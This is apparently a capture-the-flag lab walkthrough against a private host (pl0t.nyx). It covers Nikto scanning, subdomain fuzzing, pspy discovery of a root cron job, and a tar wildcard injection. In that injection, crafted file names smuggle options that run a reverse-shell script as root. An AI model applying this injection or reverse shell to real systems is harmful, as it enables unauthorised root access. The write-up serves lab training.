


Resolving Domain Names

```
- Nikto v2.5.0

+ Target IP:          10.0.2.75
+ Target Hostname:    10.0.2.75
+ Target Port:        80
+ Start Time:         2024-12-02 01:20:24 (GMT-5)

+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See:
s/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'x-custom-header' found, with contents: pl0t.nyx.
```



The Nikto scan detects that there is a custom header included in the webserver response, which points to a domain name

Adding the Domain to /etc/hosts

```
GNU nano 7.2 /
127.0.0.1      localhost
127.0.1.1      kali
::1           localhost ip6-localhost ip6-loopback
ff02::1        ip6-allnodes
ff02::2        ip6-allrouters
10.0.2.75      pl0t.nyx
```

We can attach the domain name to the machine's IP in our /etc/hosts file, then perform more enumeration

Discovering Subdomains

```
:: Method      : GET
:: URL         : http://pl0t.nyx
:: Wordlist     : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header      : Host: FUZZ.pl0t.nyx
:: Follow redirects : false
:: Calibration  : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200-299,301,302,307,401,403,405,500
:: Filter      : Response size: 10701
```

```
sar ← [Status: 200, Size: 4812, Words: 494, Lines: 87, Duration: 19ms]
:: Progress: [114441/114441] :: Job [1/1] :: 2816 req/sec :: Duration: [0:00:42] :: Errors: 0 ::
```

Then we can use a fuzzing program to discover subdomains

Discovering Subdomains

```
GNU nano 7.2 /
127.0.0.1      localhost
127.0.1.1      kali
::1            localhost ip6-localhost ip6-loopback
ff02::1        ip6-allnodes
ff02::2        ip6-allrouters
10.0.2.75      pl0t.nyx sar.pl0t.nyx
```

Then add the subdomain to the /etc/hosts file,
then continue enumeration

Privilege Escalation

Privileged Cronjob Abuse

```
2024/12/02 08:27:01 CMD: UID=0 PID=1514 | /bin/sh -c cd /var/www/html && tar -zcf /var/backups/s  
erve.tgz *  
2024/12/02 08:27:01 CMD: UID=0 PID=1515 | tar -zcf /var/backups/serve.tgz index.html
```

By using the Pspy tool, we discover there is a privileged command being run at regular intervals

Privilege Escalation

Privileged Cronjob Abuse

```
2024/12/02 08:27:01 CMD: UID=0 PID=1514 | /bin/sh -c cd /var/www/html && tar -zcf /var/backups/s  
erve.tgz *  
2024/12/02 08:27:01 CMD: UID=0 PID=1515 | tar -zcf /var/backups/serve.tgz index.html
```

By using the Pspy tool, we discover there is a privileged command being run at regular intervals

Privilege Escalation

Privileged Cronjob Abuse

```
2024/12/02 08:27:01 CMD: UID=0 PID=1514 | /bin/sh -c cd /var/www/html && tar -zcf /var/backups/s  
erve.tgz *  
2024/12/02 08:27:01 CMD: UID=0 PID=1515 | tar -zcf /var/backups/serve.tgz index.html
```

There is a special interaction with the **tar** binary when it is used with the ***** wildcard character, which allows arbitrary command execution

Privilege Escalation

Privileged Cronjob Abuse

```
'--checkpoint-action=exec=sh reverse-shell.sh'  
'--checkpoint=1'  
.  
..  
index.html  
reverse-shell.sh
```

If we can create files with the indicated file names in the directory where the **tar** command is executed, we can execute the commands in the indicated script